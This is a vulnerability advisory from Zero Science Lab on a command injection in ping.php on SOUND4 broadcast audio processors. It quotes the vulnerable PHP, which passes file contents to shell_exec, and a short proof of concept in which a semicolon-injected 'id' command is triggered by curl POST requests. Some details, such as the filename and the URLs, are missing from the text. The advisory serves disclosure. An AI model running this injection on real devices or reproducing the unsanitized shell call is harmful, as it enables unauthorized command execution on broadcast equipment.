<html><body><p>SOUND4 IMPACT/FIRST/PULSE/Eco &lt;=2.x (ping.php) Conditional Command Injection

Vendor: SOUND4 Ltd.
Product web page: |
Affected version: FM/HD Radio Processing:
                  Impact/Pulse/First (Version 2: 1.1/2.15)
                  Impact/Pulse/First (Version 1: 2.1/1.69)
                  Impact/Pulse Eco 1.16
                  Voice Processing:
                  BigVoice4 1.2
                  BigVoice2 1.30
                  Web-Audio Streaming:
                  Stream 1.1/2.4.29
                  WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: This vulnerability allows a local authenticated user to create a
file in the /tmp directory that contains malicious commands. The file
must have the filename ending with, and the commands in the
file can only be executed once by an external unauthenticated attacker.
By calling the vulnerable script and making a single HTTP POST request,
the attacker can gain command execution on the system. After the request
is made, the file containing the malicious commands will be deleted.

02:    if ($_SERVER["REQUEST_METHOD"] == "POST" &amp;&amp; isset($_POST['ping_host']) &amp;&amp; isset($_POST['networkid'])) {
03:        $pidfilename="/tmp/" . $_POST['networkid'] . "";
04:        if( file_exists($pidfilename)) {
05:             $procid=file_get_contents($pidfilename);
06:             shell_exec("pkill -P ".$procid);
07:        }
29:            unlink($pidfilename);
30:            exit();

Tested on: Apache/2.4.25 (Unix)
           GNU/Linux 5.10.43 (armv7l)
           GNU/Linux 4.9.228 (armv7l)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - - @zeroscience

Advisory ID: ZSL-2022-5735
Advisory URL:



#On the server
&gt; echo ";id&gt;/var/www/b" &gt; /tmp/

&gt; curl -XPOST -sk https://RADIO/ping.php --data "ping_host=r00t&amp;networkid=251"
&gt; curl -XPOST -sk https://RADIO/b
uid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)